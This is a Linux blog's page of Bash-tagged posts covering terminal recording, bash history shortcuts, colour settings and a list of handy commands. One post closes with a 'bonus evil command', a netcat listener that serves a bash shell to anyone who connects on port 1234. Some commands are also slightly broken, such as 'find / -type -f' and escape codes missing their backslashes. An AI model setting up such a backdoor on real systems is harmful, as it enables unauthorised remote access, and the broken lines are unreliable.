Madhav Kobal's Blog

This blog will be dedicated to Linux, Open Source and Technology news, affairs, how-tos and virtually EVERYTHING in these domains.

Posts Tagged ‘Bash’

How to record your Linux shell session

Posted by madhavkobal on 17/06/2010

script is a quick and easy way to record everything you do in a terminal session.  I use script to record sessions of me fixing a server, or troubleshooting Linux issues, and save it for future needs, or to pass on to others as training material.

Script makes a typescript of everything printed on your terminal.  It is useful for students who need a hardcopy record of an interactive session as proof of an assignment, as the typescript file can be printed out later with lpr(1).

Using script to record your terminal session

It’s really quite simple to record your bash session.  All you need to do is type script -a filename to start recording your session:

mk:~ # script -a 17_06_2010
Script started, file is 17_06_2010

Now that the recording has started, everything you type, as well as everything that returns as output, will be saved into the filename you chose to output to.

Posted in Uncategorized | Tagged: | Leave a Comment »

Customize Bash, Readline, Nano and Vim With BashStyle-NG

Posted by madhavkobal on 26/09/2009

BashStyle-NG
BashStyle-NG is a graphical Tool for changing the look and feel for Bash, Readline, Nano and Vim. It comes with 15 pre-defined styles that you can change as well as creating your own. You can also control the type and amount of commands in history to remember, use a welcome message, change the startup path and lots of other options.

Download:

TarBall

Posted in Uncategorized | Tagged: , | Leave a Comment »

Mastering the Bash History

Posted by madhavkobal on 06/09/2009

The Borne Again Shell, better known as bash, is the default for most Linux distributions. It’s extremely powerful as far as command shells go, and holds all kinds of nifty tricks for those willing to learn. One of the best features is, in my opinion, the command history system.

There are many options to use with the bash history, some of them I use nearly every time I open a command shell. Today I’ll be covering some of the most useful aspects of the history, but I certainly won’t be able to cover them all.

Up/Down Arrows

Many of you probably know this one, but for anyone who doesn’t, it’ll make your life a lot easier. Any time you’re in the command shell, simply use the up and down arrows on your keyboard to move through the list of previously entered commands. Next time you enter a long command that turns out to have a typo, you don’t have to retype the whole thing just hit the up arrow and make whatever edits are needed.

!!

A similar feature to the one listed above is the double bang (!!). Those characters entered in the shell represent the last typed command. Let’s say you’re trying to run a command only to find out that you need root privileges to do it. Instead of retyping the whole command, you can simply enter

sudo !!

Bash will substitute the !! for the previous command, as in the example below.

bash-history-bangbang

This also works further backward, you can do something like

!-5

to recall the command 5 entries back in the history.

!(word)

Perhaps a few days ago you typed a long, complex command into your shell, for example a series of options for “wterm”. You can find and re-enter than command by using the history’s built in search. You simply add the first few letters of the command after the ! and bash will find it.

Example of !(word)

Be careful with this one. You may end up running something other than what you expected. Don’t use this for potentially dangerous commands like “rm” or “fdisk”.

!?(word)

This is similar to the last feature in that it searches the history for the word entered, but unlike !(word) this will find the word anywhere in the command, not just the beginning.

bash-history-bangquestion

Be careful with this one. You may end up running something other than what you expected. Don’t use this for potentially dangerous commands like “rm” or “fdisk”.

Ctrl-R

This one may be my personal favorite history tool. It’s a bit like the !? item above, but interactive. In your command shell, hit Ctrl-R, and it will begin a search. As you type, bash will search the history and show you the results as you type. When it shows the command you want, simply hit enter and it will run that command. This can be safer than things like !? because you can see what the command will be before you run it, so you don’t have to guess or rely on memory.

Example of Ctrl-R in the shell

Manual Search

Perhaps you don’t like the way Ctrl-R works, or you want to see ALL the commands you typed, or just the ones that contain a particular word. The history command will show you your full command history, along with the history number of each command (hold that thought, we’ll cover those numbers in a moment).

You can also specify the number of items the history command will show. To see the last 10 entries in the history, you could type

history 10

To see all history entries that contain a particular word, you can use grep to filter the results, like below.

Example of using grep to filter history list

!(number)

When you use the history command to view your command history list, you’ll notice each item in the list has a number associated with it. You can use that to recall that particular command. For example, item 87 could be run again by entering

!87

into your shell.

Word replacement

This one’s pretty great. How many times have you written out some big long command only to realize you put, say, hdd when you wanted hdc? Well bash has you covered. You can replace a word in the previous command with another using “^”, as in the example below

Example of word replacement with "^"

Managing Your History

By default, the history is saved in ~/.bash_history. You can deal with this file however you see fit, but there are some useful things you could try to manage it automatically. Namely, setting the environment variables HISTSIZE and HISTFILESIZE. To set the number of entries that can be saved in the history file to 1000, enter

export HISTFILESIZE=1000

into your shell. This will limit the file to 1000 entries. If you want to make this change permanent, put that export command into your .bashrc or .bash_profile file.

original Author : Joshua Price

Posted in Uncategorized | Tagged: , | Leave a Comment »

MyBashBurn CLI Tool For Burning CDs and DVDs

Posted by madhavkobal on 21/08/2009

MyBashBurn is basically a Terminal User Interface (TUI) frontend for Bashburn script (it always had a bad interface) for Linux, which is a complete solution for burning or ripping CDs and DVDs. MyBashBurn uses dialog boxes/functions which draws (using ncurses) windows onto the screen.

Screenshots:

mybashburn mybashburn

MyBashBurn features:

  • burn data Cds,
  • burn music Cds
  • multisession Cds
  • burn and create ISO files
  • burn bin/cue files
  • create mp3s, oggs and flac files
  • supports burning DVD-images and data DVDs,
  • and other options

Also makes use of advanced and extensive regular expressions for the control of the capabilities of backend applications to burn and create audio files. MyBashBurn depends on cdrecord and other backend applications, so basically if your writing device works with it, MyBashBurn will work flawlessly.

Download MyBashBurn (available files: Ubuntu .deb, rpm and source files).

Posted in Uncategorized | Tagged: , | Leave a Comment »

Add time And Date To Your Bash History

Posted by madhavkobal on 20/08/2009

This comes in very handy if your trying to track back when you had last run something.
To enable it just simply add export HISTTIMEFORMAT=”%h/%d – %H:%M:%S ” to your .bashrc file

echo ‘export HISTTIMEFORMAT=”%h/%d – %H:%M:%S “‘ >> ~/.bashrc

Then reload your .bashrc

source ~/.bashrc

Now when you run history you should get a output similar to the one below

502 Aug/12 – 13:48:31 tail -f /home/duffy/log/access.log
503 Aug/12 – 13:49:01 echo hello
504 Aug/12 – 13:49:24 more /var/log/syslog

Some other bash history tips

  1. The best way of finding something quickly in your bash history is simply by pressing ctrl+r and then typing out the start of the command it will auto complete it with any matches found in your bash history
  2. If you don’t want to save duplicate commands in your bash history simply add export HISTCONTROL=ignoreboth to your .bashrc
    echo ‘export HISTCONTROL=ignoreboth’ >> ~/.bashrc
  3. If you want to change the lenght of history add export HISTSIZE=1000 to your .bashrc
    echo ‘export HISTSIZE=1000’ >> ~/.bashrc

Posted in Uncategorized | Tagged: | Leave a Comment »

Bash, in Color

Posted by madhavkobal on 20/08/2009

I find that a little color on the command line helps make things easier to read. ls is easy to colorize: just add the line:

alias ls='ls --color=auto'

in your ~/.bashrc (then source it or open another terminal).

You can also set color up for your manpages. The easiest way to do this is using most as a pager: Install the most package, and then type

export MANPAGER="/usr/bin/most -s"

Try looking at a man page and you’ll suddenly see it in color! However, most isn’t as good as less as a pager, and if you’re accustomed to less you don’t necessarily want to retrain your fingers to new commands. An alternative is to set up assorted termcap-related environment variables to provide colors. Add these lines to your .bashrc:

export LESS_TERMCAP_mb=$'E[01;31m'
export LESS_TERMCAP_md=$'E[01;31m'
export LESS_TERMCAP_me=$'E[0m'
export LESS_TERMCAP_se=$'E[0m'
export LESS_TERMCAP_so=$'E[01;44;33m'
export LESS_TERMCAP_ue=$'E[0m'

Finally, you can install the package grc to provide color for certain commands (check /etc/grc.conf to confirm which ones — you can also add your own definitions here). Use it like this:

grc diff file1 file2 Although in the case of diff, a better solution may be to use vimdiff or gvimdiff, both of which provide colors by default and also puts the files side-by-side in a much easier to read format.

export LESS_TERMCAP_us=$'E[01;32m'

(with thanks to the CLUG wiki, which also has some other tips). Source your ~/.bashrc and type export MANPAGER="less" to clear the most setting (or just open a new terminal window) and take a look at a man page.

Note: not all systems automatically source ~/.bashrc on login. If you’re having problems, trying manually sourcing ~/.bashrc, and if that works, add a line

source ~/.bashrc

to your ~/.bash_profile.

Posted in Uncategorized | Tagged: | Leave a Comment »

Another 10 Useful Linux Commands

Posted by madhavkobal on 20/08/2009

1. Twitter update from terminal:

curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml

2. Find removed (deleted) files still in use via /proc:

find -L /proc/*/fd -links 0 2>/dev/null

3. Check if network cable is plugged in and working correctly:

mii-tool eth0

4. Migrate existing Ext3 filesystems to Ext4:

tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition

Before doing this, back-up all data on any ext3 partitions that are to be converted to ext4.
After running previous command you MUST run fsck, is needed to return the filesystem to a consistent state.

fsck -pDf /dev/yourpartition

Edit /etc/fstab and change the ‘type’ from ext3 to ext4 for any partitions that are converted to ext4.

5. On-the-fly unrar movie in .rar archive and play it, does also work on part archives:

unrar p -inul foo.rar|mplayer -

6. List programs with open ports and connections:

netstat -ntauple

or

netstat -lnp

7. Using ruby, search for the string “search” and replace it with the string “replace”, on all files with the extension php in the curret folder. Do also a backup of each file with the extension “bkp”:

ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php

8. Find files larger than 1 GB, everywhere:

find / -type -f -size +1000000000c

9. Kill a process that is locking a file:

fuser -k filename

10. Manually pause/unpause an application (process) with POSIX-Signals, for instance Firefox:

killall -STOP -m firefox

The above command suspends all Firefox Threads. Results in Zero CPU load. Useful when having 100+ Tabs open and you temporarily need the power elsewhere. Be careful – might produce RACE CONDITIONS or LOCKUPS in other processes or FF itself. Matching is case sensitive.

Bonus: an evil command -> create a backdoor on a machine to allow remote connection to bash:

nc -vv -l -p 1234 -e /bin/bash

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like:

nc 192.168.0.1 1234

You will have console access to the machine through bash

Posted in Uncategorized | Tagged: , , | Leave a Comment »

Change the color of your Linux prompt

Posted by madhavkobal on 20/08/2009

You can change the color of your BASH prompt to red with this command:

export PS1=”\e[0;31m[\u@\h \W]\$ \e[m”

To make the change permanent, create a .bash_profile in your home directory (if one isn’t already present):

touch ~/.bash_profile

and paste the line directly into the file. Save and close.
For other colors please see the attached list:

Color Code
Black 0;30
Blue 0;34
Green 0;32
Cyan 0;36
Red 0;31
Purple 0;35
Brown 0;33
Blue 0;34
Green 0;32
Cyan 0;36
Red 0;31
Purple 0;35
Brown 0;33
Light Color Code
Light Black 1;30
Light Blue 1;34
Light Green 1;32
Light Cyan 1;36
Light Red 1;31
Light Purple 1;35
Light Brown 1;33
Light Blue 1;34
Light Green 1;32
Light Cyan 1;36
Light Red 1;31
Light Purple 1;35
Light Brown 1;33

Posted in Uncategorized | Tagged: , | Leave a Comment »